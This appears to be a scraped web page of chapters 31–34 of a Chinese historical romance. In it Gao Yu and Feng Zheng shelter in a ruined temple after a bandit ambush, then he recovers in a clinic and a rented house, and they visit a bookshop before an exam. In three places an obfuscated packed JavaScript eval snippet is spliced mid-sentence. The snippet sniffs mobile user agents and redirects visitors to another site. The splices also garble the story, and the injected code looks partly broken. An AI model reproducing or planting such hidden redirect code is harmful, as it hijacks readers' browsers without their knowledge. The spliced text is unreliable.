他把破衣裳穿回身，一晃紧实的手臂擦过她脑海，带抹刺眼的红。他们从箭雨中捡回一条命，高豫护她妥帖，仔细说来，不可能只有一道箭伤。他穿衣裳时手臂晃过，那里一条新的血痕，受过伤好是可惜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17040764|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 想治好这些伤不难，更何况此程南下探亲，又不用遵守什么期限，能交给郎中处理的事，何必验伤多此一举。 “此处距回城还有二里地，贼匪远去与否还不能确定，你我现下都很疲惫，状态不佳难以应敌，哪怕彻底安全了，也得休整片刻才能赶路。” 对于她的关心，高豫颔首算作回应，哪怕知道以她的视角必定撞见了什么，仍能守着稳定干净的语气，擎着就事论事的语调，将那点蒙昧旖旎一一荡尽。 “我知道你疲饿饥渴，我亦需找郎中医治，我歇一歇，不会拖太久。” 冯筝站在庙前，手里的铫子又轻又空，她没有抱怨他拖沓的意思，也不是没找到水而失望回来，用虚假的关心催促他走。 庙里残薪不多，勉强够烧到天明，谨慎起见，逗留半夜没什么不好。 她没多余解释，踏遍附近找到了活水。架起柴火烧水，坐在条凳上，端着海碗慢慢啜饮的时候，把他的臆断打得措手不及。 高豫净过面，盯着焰心不知在深究何等要事，哪怕思考着什么一筹莫展，也是那副精神集中，有条不紊的姿态。 她能看得这么清楚，归根结底在于，他毫不避讳地供她瞧看。 刚刚验完伤，他依然用碎裙布简单包扎了回去，坐在柴堆前，眼底鸦青暴露出疲意。 他无意掩饰，疲弱感和凝神静思就有点割裂，她就这样毫不掩饰地观察他，没妨碍他同样把对面的情况尽收眼底。 她极有耐心地坐在那里，背靠零星一点贡品，捧着海碗，眼色描摹他，能给寡淡的水品出饱满滋味。高豫不由得想起，她提醒他就医的那一瞬间，披衣而起时，她的眼神轻微变质。 这不好，也很不对，稍有不慎便会酿成差错。 歇息一会儿没有准数，只要任意一人发话，便能结束等待，随时动身。 但此刻两人谁也没提。 高豫看向饮水思甜的冯筝，略有深意地点了一下，然后去赏庙里的壁画，只留冯筝在原地云里雾里。 庙宇焚毁破败，好在碑壁完整。碑壁镂刻的文字，多是介绍此庙哪年修造，所供何方神圣云云，没有什么值得深究的内容。 可他就是在壁前停了许久，手指无声拂过字眼，对着没什么内涵的镂刻细细研读。 他缜密有礼的模样一如既往，好像已经不记得，将她扑倒在箭雨下，受她挽衣处理箭伤之时的冒昧亲昵。 仿佛他们怎样逾矩都无可指摘，事后除了相互答谢，一句说辞也不必有。 冯筝定睛凑近庙壁，手指抚在文刻上，学着与他共读一壁。 壁面手感平滑，手指有意无意地朝他贴近，每当好悬就要搅在一起，又次次被他曲径避开。 高豫从皮相到性情，处处透露着一种“博我以文，约我以礼”的修养熏陶，每每打起交道，似乎永远不用担心会与他发生正面冲撞。 冯筝没低估他的礼数，不想竟高估了他的耐性，当指尖摸着雕文竞逐，又一次要缠在一起时，突然就被人反手攥住。 高豫扼腕拉近，冯筝反应极快，在撞到他怀中的瞬间站稳脚跟，没等说点什么，一双十指相扣的手就被举到了眼前。 “慈爱无边，爱戴亲昵？” 十指交扣，暧昧惹眼，说不出到底谁先扣的谁，却在慈爱和爱戴的关系中不可能出现。 他就举着这双手，把她那副自比晚辈身份的说辞无情击破，强有力的质疑当前，感觉别提有多糟糕。 冯筝慌张，下意识想解释说，怪他突然拉扯害得她失足趔趄，她一顿情急，所以本能握住能握的一切。 好在理智迅速回笼，忍住没解释，只要不承认，他们之间，未必是她先合的指缝。 她早就觉得，这画壁没什么好研究的，想必是蓄意等着她钻圈套吧？ 冯筝责备他，恼羞成怒地责备他，没脸没皮地责备他，不忘松手撇清一切。 但他们的手就像鱼线一样缠在一起，一方不收钩，根本甩不脱。 没得到中意的答案，高豫又问。 “慈爱无边，爱戴亲昵吗？” 冯筝避无可避，“哪里出问题了，一定是哪里出了问题。” “哪里？” 有差错有问题，直面它处理它就好，但哪里出的问题，谁先出的问题，一时间谁都没出声。 冯筝脑海翻涌，不期然出现他缚眼缚手，迎着高窗引颈挣扎，以及秉烛宽衣的凄美画面，这样一走神，免不得被他绕了进去。 高豫：“你不回答。” 32. 第32章 他简短地陈述事实，语气静默笃定，没有丝毫未尽之语，却将两人关系超前推进到极致。 这种不回答就代表心虚，心虚就等同于默认有非分之想的意思，把冯筝架得有些下不来台。 不管事实是她顺着他扼腕的手先扣的他，还是她害怕跌倒而本能回握，这些都不重要了。 她解释是情谊而非情意，讲清他们谁都没有问题，至于高豫，之前用酒香给她递台阶，她接受了，此时她好声好气地解释，他一样也该顺坡而下。 高豫叫醒她，齿关抿出她的姓名。 “冯筝，瞎蒙是过不去的。” 他郑重其事地讲这些，仿佛片刻前盯着焰心一筹莫展，就是思考这种小事。 翻篇翻不过去，冯筝静下来，终于后知后觉地感到失策。 先前就预想过，把关系闹僵尝不到甜头。她止不住地宽纵自己，完全相信以高豫的圆融练达，哪怕跟他闹腾点什么，他也有办法化解，以至于他们不会有僵持的时候。 然而这种想法，已经在手指搅缠在一起的情形下不攻自破。 屋漏偏逢连夜雨，一点残存的薪火扑熄，只剩微弱的芒点在柴火堆挣扎，破庙彻底暗下来，气氛想不凝固也难。 “不是无凭无据拿你问话。我种种猜疑都有根据，比如，你似乎对观赏我这件事乐此不疲。” 周围静如沉潭，说实在话，她不喜欢这种心思受控的感觉。 他微敞衣襟被她撞见，她碰巧饱了一顿眼福，之后端着水碗品出甘甜，也绝对不是观赏他的脸才有的滋味。 她对高豫，充其量只是欣赏，冯筝稳住自己，她倒要看看，她不回应，他能编出什么花样。 “你有火折子。”高豫提醒道，“冯姑娘，点个灯吧。” 这就是要摆阵仗，堂堂正正处理问题了。 孙崇福遗落在库房的火折子，脱困前被她收为己用，这事没能瞒过高豫。 冯筝听出催促意味，气势也不弱，添火回灯一气呵成，无意间踹到条凳，又“哐当”一声摆正，刚一落座，高豫紧跟着撩袍坐下。 冯筝裙稳身正，望着他这边，没有说任何字，却莫名让他联想起，昔日那些不驯的同窗，面对先师施润章手执戒尺，既惧怕又硬气，趁施老正式发难前说的那一声，“来。” 但冯筝是不怕他的。 哪怕一样认真凝重，她黛眉松弛，应对他接下来的手段，状态也是期待而又随意的，甚至有点轻视轻慢。 冯筝确实挺自如，当他一改从前的清静宽和，手执明火朝她递近，把燃着的火折子，直接塞到她手里之时，她尚且还在自宽地想，凭她这种半默认半澄清的态度，关于他们的关系，他能编出什么花样。 火苗发烫，她手腕微颤，一点芒火落到他衣摆，快要把他烫穿个洞。 她应激般后退了些，却被人一把握住手往跟前带。 “拿近些。”突然拢近的火烘亮他面庞，“我想你能看清我。” “你跟前这个人面目可憎，败绩半生，前途踽踽如危楼塌，不值得任何女子托付真心。革除官籍不能洗清他的秽名，只会强调他是罪臣后裔。他有冤屈要陈，动摇太多人根基，注定成为公卿贵胄的眼中钉肉中刺，谁跟他作伴，只能让士绅挞伐中多一道牺牲。” “我自顾不暇，说不定哪天又得被打落囹圄，若有人对我寄托情思，连累最重的只会是她。” 他用手指包裹住她，挡下所有落落芒火，“——到那时，没人记你的好，无人念你的善，仕人笔墨喉舌，从不会因为你是女子而轻饶你。” 芒火越落越多，灼穿单薄衣袍，他本就褴褛的衣裳哪里禁得起这样糟蹋，但他避也不避，生生忍住痛觉说完，只为让她彻彻底底地“看清”他。 冯筝盯他半晌，轻慢荡然无存，本来还在尝试熄灭，一时吹不灭，放弃了较劲，随便他攥着火折子朝他自己倾倒，硬是安静地听他说完。 火再烫，也没有他一番肺腑之言烫耳朵，她停顿稍顷，终于噙起冷淡的笑，甩手将火折子丢进了火堆。 啪嗒一声脆响，是里面薯藤芯烧坏的声音，冯筝拍拍灰，抬起难解的眼神看他。 “还以为能编出什么花样把我唬退，不过是把自己踩进烂泥里，好让姑娘家萌生退意。真奇怪，曾经困在诰狱里都能顽守清白的人，怎么如今自由身了，反而揽起秽名，跪着写起自罪书了呢……” “人的感情是复杂的，没有什么非憎即爱，爱憎以外还有顾惜，不过你这个人，既不可憎也不可爱。” 高豫睫羽微颤，轻微到可以忽略不计的颤动，在冯筝越过他出去透气的途中调整如常，他克制住回头，没让自己神思紊乱下去。 冯筝望着他软塌下去的背影，踩着稀碎的月色，在这有惊无险的大夜里，自问说了一句让他称心如意的话。 “你其实不必多虑，我生来善于审时度势，掂量得清好坏利弊，跟谁好，不跟谁好，都是我自己的事，用不着旁人来跟我释情说理。” -- 郡地的官兵将这路匪贼押解回城，点验完收缴的箭弩等兵器，天际刚好泛起亮白。 新晨的凉风擦过颈，带起一阵细密战栗，但这战栗未必是觉得冷。他们前前后后捕获四五十人，押进官廨的匪徒，像一茬接一茬割不完的麦，更有精良的军械收缴入库，让班房的人看得一阵振奋。 扶陵物资匮乏，他们破获此案后因功请赏，收缴的军械，大多数落回本城腰包，可以缓解武库军需。 封山权是第二天批下来的。朝廷容缺后补制度完善，允许事态紧急时自主决策，调遣兵卒攻山，事后追补手续即可，只不过郡守府的书房，又要挑灯续昼，连夜写奏牒说明始末了。 官府忙着清算贼匪身上的旧案，更早以前，元逢等人已经接应到冯筝，一起把高豫送至医馆。 坐诊的郎中有点碎嘴，看完伤后啧啧咂舌。 病患满身伤筋动骨，从肩膀到膝窝，一路遭过不少重击，膝盖骨也没接好，加上后来运动密集，关节磨损严重，能拖一夜全靠硬撑，简单处理的话，迟早落下病根。 跌打损伤的药远远不够，说白了得卧床静养。冯筝点点头去付诊金，又到隔壁街的药堂抓药取药，回来的时候，高豫上半身已经密密麻麻贴满了膏贴。 两护卫习武出身，这一趟行程，以高豫骑马姿势，早就看出他并非文弱之人。 但突围匪群并不简单，回忆起他肩膀上的贯穿伤，两护卫额角还冒虚汗。 有护卫们帮衬，他脏污破损的衣裳已经换掉，膏贴隐隐发热，他坐在榻上稳如牢钟，额角汗珠细密。 他只披一件中衣，显然不方便动，元逢发现姑娘回来了，擅自伸手，把他腰侧的绊带缠得更紧了些。 高豫没理睬这些，早就被扎针上药折腾得疲惫，偶尔走了会儿神，没注意到护卫的小动作。 他衣袍灰素，毫无光鲜可言，坚持没躺卧，似乎有意等谁。冯筝从外面进来，高豫牵回飘远的思绪，轻轻推开旁人。 冯筝提着一摞药，没打算往里走，“你在等我吗？” 自打留在医馆时起，又或者说，自打昨晚出山以后，高豫话就少了许多，亲眼看着他们忙前忙后。 她脑后有轻微的钝箭伤，郎中说等消肿便好，而他依郎中建议，接受了卧床静养的安排。高豫向榻边坐近，对耽搁了行程表示歉意。 “多余说这些生疏的话。你是因为我而卷入祸事，我自然得对你的伤病负责，我已经去信符府说晚一些到，不着急赶路，你安心养伤，就是对我最大的慰藉。” 冯筝把手里的东西拿给元逢，让他留在医馆煎药和照看，自己则带着元值，去官府以及回客栈料理余事。 元值暗暗纳闷，昨晚事发惊险，经此一遭，他们也算有过命的交情，理应更亲密融洽才对，却隐隐发觉，这趟回来，反倒变得生疏隔阂。 不过，这对两护卫而言是好事，姑娘毫发无伤就是最好的结果。 元逢这就去煎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17057312|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 药，情绪克制收敛，元值的轻快却遮掩不住，收回探究的一眼时，还高调地应了一声，才跟上姑娘离开医馆。 晚些的时候，捕吏奉郡守之命送来抚恤银，高豫没说别的，由着元逢替他收下，喝了一盅药养够了精神。 他把荷包换成了大一点的绢袋，装满银钱递给元逢。 “帮我交给她。” 元逢知道他在指冯筝，也知道这不可能是他全部家当，但换过的衣裳他经手过，元逢很清楚，这只怕是他所有的现银。 他迟疑地问出声，高豫无奈地笑。 “不是跟她清算一切，也不是要跟你们分道扬镳。我答应过冯公，要亲手送她到淮阳，所以只能厚着颜面，后半程成为你们的拖累了。买药花销不小，不能每回都叫她替我垫付，这些钱，就当是我提前请罪了。” 高豫精打细算说这些，考虑体贴，也无疑把一行人关系推远了些。 出门在外，银钱当然是多多益善，元逢接住绢袋，看他这般见外，终于觉得之前的提防有点多余。 说到底，他们三种姓氏临时搭伙，各有各的生疏也挺正常。 不管他和姑娘之间，闹过别扭还是闹过不愉快，元逢把随从的德言容功落实到极致，一句也不多嘴，只管依姑娘吩咐，打起精神帮他尽早恢复。 冯筝在官府写完自述笔录，紧赶慢赶回客栈去，遥遥看见，孙记杂货铺贴了封条。 元值适时解释，“听衙役说，孙记的掌柜窝藏贼匪，替案犯谋便利，官府以同伙追责，已经查封店铺，连带治了他的罪。” 冯筝示意知晓，没逗留半步，买齐肉脯胡饼等干粮，就回客栈把宝货打理了一遍，轻手轻脚垒进箱笼，指挥护卫抬上马车。 转头回到客房，又把行李收拾妥当，一副箱笼盖一合就能直接走人的模样。 元值有些懵，没记错的话，姑娘一会儿前还嘱咐高豫静养来着。 “姑娘这是……打算把高郎君留在扶陵养病，咱自个儿上路？” 冯筝对他这想法暗觉好笑，她摸上脸颊，算起来，她是有好一阵没笑过了。 “我看起来就这么薄情寡义，薄情到把救命恩人丢在这自生自灭，自己悄悄卷铺盖走人？” 元值汗颜，“当然不是，姑娘重情重义，放不下高郎君，也放不下符乡君，我以为你是考虑到路上颠簸，这就不劳他相送，准备独自去淮阳。卑职猜错的话，就当我没说。” “不过，即便姑娘真有这种想法，咱们兄弟也是会听命的。” 这时候表忠，冯筝注意到他，蹲在快要收拾好的箱笼前，用心打量这护卫，想起来貌似叫元值。 男人二十出头，下巴冒出青涩的胡茬。还记得昨天在衙房跟郡守闲聊，惋惜胭脂买贵，循动静回头瞧他时，他下巴尖还是挺干净的，一夜未见，竟愁得连胡茬都冒出来了。 她失踪一夜，官兵围山不缺人手，他们在官廨门口蹲守到天明，如何煎熬过来的可想而知。 元值被她看得不自在，加之这是客房，屏风很小，一眼能望尽卧榻被褥，还有云燕尚在时，给她用裙幄搭的帷帐，一眼细致入理，所以房门边也不宜久留。 冯筝叫停他，她一忙起来就手脚不停，所以才显得着急走，耐心解释了这些，也没瞒他，说出自己的想法。 医馆病榻的租钱不贵，但病人多的时候，灶炉紧张，客栈环境喧嚷，也不适合静养，而养病也不是非得在扶陵养。 简而言之，她打算改变之前车马兼程的走法，走一阵住一阵，算算剩余的里程，准备在前面的州城租个院子，安顿一阵再继续行路。 元值觉得合理，又觉得哪里缺了点什么，迟疑一问，“高郎君也是这样想的？” 高豫此人，既有主见，也有成算，这一路走来，姑娘和他凡事都是商量着来的，很乐意互相交流意见。此刻三言两语，就这样把他安排了，冯筝头也没抬地把箱笼合上。 “很可惜，按他现在的情况看，只能任凭我摆布了。” 33. 第33章 短时间造成的伤病，起初不显露山水，连续赶路的劳顿，还是令高豫膝伤复发。 不远就到淮州境，他们没再兼程赶路，按之前的安排，在静巷里租了一间带小院的宅子，遵照医嘱让高豫静养。 意识到自己病情不稳定，高豫没有逞强，由着随从照料起居，却还是在卧床的第三天没忍住下榻，去守厨间煎药的灶火，让护卫两人歇歇手脚。 他躺不住，无关乎病弱无能的模样令男子蒙羞，只因启程时还许诺做陪护，现在这样颇受照顾，总该有种主客颠倒的自觉。 细细算来，落脚宅子已有三天。虽然绝大多数时间，高豫都是在榻上度过，却不妨碍他感受到，借宿此处，和住客栈时的心情大相径庭。 宅子在深巷转角，两进两出，傍街而居，他住的卧房是靠里面最安静的一间，偶尔还是能听到邻里闲谈。 每当冯筝带人出门，此前还礼貌热情的邻里，转个面就议论起屋里养了个短命的夫郎。 药渣一天一倒，夫郎缠绵病榻，凭汤药吊着最后一口气，眼看气数将要到头，姑娘快成新寡，她们唏嘘叹惋，商量着给她撮合婚事。 自此，本就一心复健的高豫起得更加勤了，除了小幅度活动筋骨，有时也起夜点灯书写。 邻里这厢起了主意，就时不时绕到他窗前，打探他什么时候气绝，突然目睹他的康健，撞见他的勤奋，议论他命数长短的聒噪声终于停了。 好景不长，他还死不了，劝和离的说辞便蠢蠢欲动。 这些天冯筝经常出门，不知道在忙碌什么。院墙隔音不好，越轨的言语飘进窗子，高豫无法听之任之，终于敲响了那扇虚掩的门。 没得到她应允，高豫不会硬闯，听到声音，伸手推门而进，里面冯筝正在梳妆。 发带垂落在她肩侧，发鬓收紧处簪有珠花，哪怕身边没有女婢，她也总是能将自己收拾得熨帖精致，除非她不想。 循着镜中的身影回头，冯筝齿间露笑，摆手将旁人屏退了些，高豫这才察觉，两护卫双双在场。 这令他突然有些凝重，莫说屋里南北迎光，视野通透，就说两名护卫劲装佩刀，出现在女子居室，理应很难隐去存在感才对。 他却对此毫无感知，只注意到那簇珠花轻晃，还有配它的人齿白如玉。 他可以疏忽大意，可以意动神摇，却绝不能是养病养废了的人。 这里不是自省的场合，高豫神色如常，“主屋很久没有动静了，我放心不下，便来看看。” 他主动说话，也算解释了他出现在这里的缘由，她满眼了无生趣地转回去，他又轻点下头算作告别。 早在高豫敲门时便没有出声的护卫两人，一直到他走了，也没有多余的动作。 他们已经彻底看出来，自那夜出事后，二人较之前亲善和睦的关系变化很大，眼下高豫难得来找，没说几句就要告辞，这种异样更明显了。 唯独冯筝看起来若无其事。 她款款梳理发丝，继续算着近期按大夫新写的药膳方子抓药的账，声音轻松自然，一直以来都没什么不同。 元值跟元逢对视一眼，接过她哪怕不够结租也要拿去换药的银子，闷着躁郁出了门。 没多久冯筝也出了门，每当他们各忙各事，便剩高豫一人守家。 高豫没忘，自己去找她所为何事，可他既已放弃，便不再纠结这个问题。 闲言碎语虽不讨喜，可一旦把自己的视角抽离出来，不把自己当夫郎看待，闲话便也不再刺耳。 但他还是没待在卧榻，听邻妇劝她和离的话题商量到哪一步了。他守在厨间，往灶膛里捅了两根柴，然后坐在矮板凳上，对着灶上热着的两盅陶罐定神。 陶罐飘出药味，应该都是药膳，旁边架着一口清锅。他们用清锅炖过野鸽，声称滋脾补肾，在他病情好转的那天给他分成了三餐，他不得已，在她期待的眼光中赏脸地吃了精光。 唇角牵出弧度，而又徐徐展平，他神情专注地守着陶罐，灶底炭火不旺，文火煎不沸水，他却迟迟没有添薪助火的动作。 高豫眼神专注地感受着这股熟悉到刻骨铭心的寂静。 仿佛回到了多年前，被新上任的观察使磨掉耐心，为了争取调度的机会，连夜破获要案，迟迟来到灶房捡残羹剩饭饱腹的时候，那人出现在灶前，惋惜了一声，“还是太年轻。” 王勉稳居高位，熬得鬓角斑白，跟他相比，他确实年轻。 但是年轻是过去的，现在的他可能更多的是老气横秋。 是什么时候开始老去的呢？ 生活是紧凑的，年岁是模糊的，他试图追回点滴记忆，摸索忙碌中被忽略的时间。 他于进士及第后的第四年除臣籍、议刑名，于虚岁二十四革功名、贬白身。在这个世间评判男子最该意气风发的年纪，他将鸿图大志雪藏脚下，于诏狱中掉头，义无反顾地走向翻案的征途，如今回过头来却发觉，他连自己的年纪都快忘了。 二十四岁的高家次子，可能不那么可憎，但也绝不会可爱——审理台上官威如狱，他强忍着新旧反复的刑伤，曾可耻地奢想过，那些处刑的上差当中，能否有人，舍得施舍给他一点柔情，让他挺刑时能够好过一点。 辗转三司大狱期间，他曾屈服于生存意志，顺应自保的私心，于生父伏诛的当夜请来纸笔，却写自己的昭雪策，将毕生所学“推勾断讼”，用于挽救自己险将狼藉的声名。 佞臣伏诛的消息传遍狱所，审官见机提他来审，突破他心防。那些供人差遣的狱卒，提着铁链棘鞭，役鬼般缠上他，誓要他写出揽罪之词，他见招拆招，吐出过许多违心的话。 这样贪生且凉薄的人，怎么可能可爱可亲? 在惜命这一点上，高豫无疑是坚韧的。 他不会因为惜命而低看自己一眼，不会因为替自己昭雪而感到羞愧，却在高相背负骂名以后，抚灵葬骨写白字碑，事后抚衣而起，茫然四顾不知往哪里去时，到底感到过那么点缺憾。 这种抱憾入他数百个梦，直到脱困囚籍后的小半年，稳定踏实地向翻案努力，手段百出搜罗证据。颠沛流离的除夕夜里，披着夜色，回到隆福寺那一角陋室，百姓燃灯祈愿，无数长明灯当空，他才从万家灯火那一点余烬中，重新找回些归属感。 高豫定了定神，回顾自己乏善可陈的生平，算了算翻案的胜算，重新审视要走的路，对有没有必要像刺猬一样，把亲朋故友推开，只剩下他一个人这件事，第一次产生了怀疑。 他好像回到了更近的以前，那时他刚脱困囚籍，为救亲眷登堂争讼，暂抛他的尊严，在饥寒交迫的生活里疲于奔命。 那时他也是这样踽踽而行，为了解决温饱，独自临着灶火，根本没有闲情去感知孤独与否。 无人在意他困时冷暖，无人关心他刑伤未愈……更不会有人，在他行事有失时纠正他，跟他说一句，这样是不行的。 “这样可不行啊，三郎君！” 高豫浑身大凛，意识回笼的刹那，看到冯筝半蹲在灶前，拨旺那一簇微弱的火。 “这点温文尔雅的火，可得煎到什么时候？药材久煮不沸，药效很容易流失，这样肯定是不行的。” 厨间简陋尘仆，脏她浅色罗裙，但她毫不在意，捡起蒲扇把火扇旺，走来走去忙个不停。 她揭开陶罐，一缕甜丝丝的清香顺着罐沿冒出来，高豫终于发现，这两盅陶罐，并非如他所想全都在煎药。 一晃数天，她已经学会掌握火候，眼看差不多了，取来一只碗念念有词。 “隔壁街在卖青梨，卖梨的婶娘教我切片炖汤，说它降燥明目，跟药补过旺的人是绝配。我虽然对她的说法半信半疑，但梨汤却是真的鲜美，闻一下就会香迷糊的那种，所以……尝尝看？” 高豫一身鸦灰色长裾，静默如霭，和这灰扑扑的厨间几乎融为一体。她自顾自说着话，这灰扑扑的高豫，不知何时起有了神采。 这碗纹路精致，和厨间那些碗口粗粝的不太一样，是她从随行箱笼中翻出来的，吴阿姆事无巨细，连用碗的情形都照顾到了。 冯筝连连感慨，属于两个人的热闹蔓延开，高豫越来越热络地跟她搭腔。 冯筝意料之中，她都这样不计前嫌，跟他维系情谊了，他怎么都会卖她情面。 高豫捧碗咬碎一枚梨片，哪怕舔齿舐舌，吃相也斯文优雅，赏心悦目。冯筝感到满意，这回刻意没看太久，后知后觉地想起来问，“刚刚你来找我，是有什么事吗？” 咽掉那些闲言碎语，他轻松道，“很久听不到你的动静，我特意前来，是恐有异样，不放心你。” 冯筝疑问，“有多不放心？” 他缓缓笑着，更多的却不肯再说，但这怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069210|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能令冯筝满足。 刚痛快一半又无疾而终，隔靴搔痒般难受极了，冯筝靠近，眼神晦暗地缠他把话直说，一个字也不许少的那种。 他既没有不耐烦，也没有给她个痛快的回应，他眼神熠熠趣意横生，对这追问和缠闹有一点享受。 冯筝怀疑自己看走了眼，没好气道，“难道我不该追问吗，你这样含糊其辞，还怎么跟我重修旧好？” 很寻常的字词，高豫手腕一僵，无意联想到旧情复燃。汤药刚好煮沸，他激灵间起身，顺势去揭那炉盖，略微绷紧的腮帮暴露出一点失态。 他还没好利落，突然起膝，失手打翻炉盖，冯筝从磕碰的脆响中回身，连忙捉起拴药罐的提柄往旁边搁。 他熄弱灶火，在冯筝转过来时，侧身挡了一挡烟尘，忍着被灰呛到的咳嗽，维持他尚算平稳的话语。 “你关心我伤病，而我同样挂念你安危，刚才踏足主屋，见你无恙我也能放心。我受照顾太多，哪还有脸面跟你摆谱，你愿意对我尽释前嫌，我当然乐意重拾情谊，来跟冯姑娘重修旧好。” 灶火熄静，台面上的药屑也被他清理妥善，他忍着咳意去其余狼藉之处揽活，药都没顾得上喝，还记得腾出空来回答她的问题。 冯筝看着他病情初愈，却好像仍有点疲弱的样子，有点担忧，喃喃自语。 “内服外敷通通没落下，没道理更严重对吧？” 高豫放下抹布，稳步端起药碗。 “确实没道理，所以我有在好起来。” 他把陶罐温在灶上，预备晚间再用，乖觉模样看在冯筝眼里，也跟着心安，冯筝再没管他，放心去摆弄自己的事情。 高豫在附近走动，眼前偶尔晃过她忙碌的身影。有时翻动箱箧，对着簿记清点金银细软，有时擦洗铜镜，把梳篦轻巧地码进妆盒。 她一刻也没停歇，又总是随意间就停下来，哪怕擦铜镜的手帕还没拧净，捋到胳膊肘的袖褶还未拉下，也照常站在门前，与邻里婶娘带笑寒暄。 她们问芳龄问婚配，热情洋溢地把她包围，冯筝摆摆手，胡扯道，这趟就是准备回娘家探亲。 婶娘们偷偷起哄，说难怪她那位郎君如此要强，没日没夜地勤恳锻炼，将自己养得硬朗起来，好回岳丈家给娘子争脸。 般般祝福盛情难却，冯筝哑然失笑，顾左右而言他扯偏了话题。众人嬉笑间露出她的身影，高豫停下脚步，蔚然想到，她应该能够应对自如。 高豫注视声光凌乱处，便是此刻发觉，她的身上，少有当前世俗门第惯爱撑起的花架子。 上到郡官下到妇孺，跟他们打交道，她有自己的一套章法，她既能做到守理知节，也很乐意删繁就简。 这种跟冯公相契合的简朴随和，让他对这对祖孙，隐隐生出些同宗同源的好感来。 好感隐隐拔高，和钦慕模糊边界，等意识到自己好像捅破了什么，高豫额心蹙拢，思索起一件天大的事。 冯筝再有章法，也没这群走街串巷的女妇嘴皮子能耐。 婶娘们调侃少夫少妻，点灯烧炭持续到深夜，冯筝脸色尴尬，解释起来越描越黑。好不容易摆脱了玩笑，带着难言的心情脱身，关上门，回头就看到高豫一身鸦灰向这边走来。 他毫不停留地朝外迈步，隔着三步短阶的距离，仔细看她。 院子隔音不好，刚刚那些戏言，想必已被他听全，冯筝稳住表情不崩，迎上他时二话不说，挽住他胳膊就往回带。 偷偷摸摸的阵仗，颇有一种不小心让丑夫见了妻族的羞耻感。 高豫倒没抗拒，知道她只是耻于面对这种秽言，他驾轻就熟地回握了下她，继而放手，由她领路回到内宅。 “流言于我事小，你的名节事大，歇息了这么久，我觉得腿脚灵便多了，赶路没有问题，你若介意被邻里嚼舌，我们随时都可以结租离开。” 冯筝想不通，他们这些男人，怎么个个都爱把名节挂在嘴边。 她不是头一回被人苛重名节，上回提醒她守节的话，还是香积山中拜奉礼贼所赐。 但实质上又有些不同，奉礼贼对她，带着一股视如己物的管束，高豫对她，却有种看待晚辈般的语重心长。 思来想去，她心安理得地答应了提议，“倒也是个办法，反正行李不多，收拾起来不费事，那便按你说的做，我们这两天就离开。” 34. 第34章 可能是冯筝想试探他腿脚灵便的真假，也可能高豫夜夜起榻书写，用废大量纸张，需要出门补一补库存，不知如何打的商量，他们拟好行程就结伴上了街。 书铺前阵阵喧嚣，站满身穿襕衫的学子，新造册的卷籍刚抬出来，就挤着脑袋抢购一空。 书铺销售卷籍，也会贩卖笔墨纸砚，附近只这一家书铺，高豫前来买纸，既没为眼前情形而感到不便，神色也没多意外。 景象很热闹，路人接连驻足，冯筝定睛再看盛况，联想到时年时节，豁然看懂了原因。 两名青衫黑幞的学子停在一边，觉得摩肩擦踵有辱斯文，保持观望。 “今年岁试颇受重视，听闻朝廷下派了州衙大吏，考前巡访各地考纪，推算下时间，想必近期就要动身了。” “何止大吏巡访，岁试地位等同于秋闱，礼部列明的规范甚多，真履行起来，应试的过程也会变得麻烦一些。” “这有何要紧，规范多是好事，免得有人钻制度的空缺暗通款曲，只要能考夺京官，再麻烦也不碍事。” 谈起京官梦的人，望着里面的情形忽道，“张兄可曾听说，市面上出的这题集，传说能凭出卷官的喜好去猜题眼，传的神乎其神的。依我看，指不定就是薅人钱财的噱头，这种鬼话都有人信，可笑书都读到哪里去了。” 他既不齿又好奇，眼看同伴张敞上前，唯恐落后，也别扭地挤进了书铺。 往年岁科大考都在年底，受江南科场案的影响，时隔一年才恢复考制。这一年间，知贡举借行卷制度之便贿通贵胄，泄题被揭发，部堂圆审打落了一批公卿，贯穿初代王朝的行卷制度被废除。至此，岁科正式成为科举取仕的补充门路，为朝堂纳贤提供了更多的可能。 两年前的岁科划出了地域，今年经过六部集议，生籍由江南移到淮北。贡院在惠、宣、淮一带的郡府布设考地，方便淮北学子按籍参试，而这一举措，也助推该年秋末时节，形成学事热的特定景象。 所以说，一旦知晓岁科在即，就不难理解眼前情形。 向前攒动的背影愈发多了，冯筝收回视线，看到同样旁观着的高豫有了动作。 病愈后的高豫脚步轻便，只要不像在厨间那样，突兀撑膝起身，就看不出任何不便的地方。 本以为他会以灵便的身段挤出一条道来，却发现，他并没有进书铺的打算。 他从窗格探进手，向里头的店家递钱买纸。 宣纸、白棉纸、蚕茧纸都是上好的纸，生宣稍次一点，但也够用了。店家简单思索后，朝旁边招招手，示意帮徒带人去库房取货。 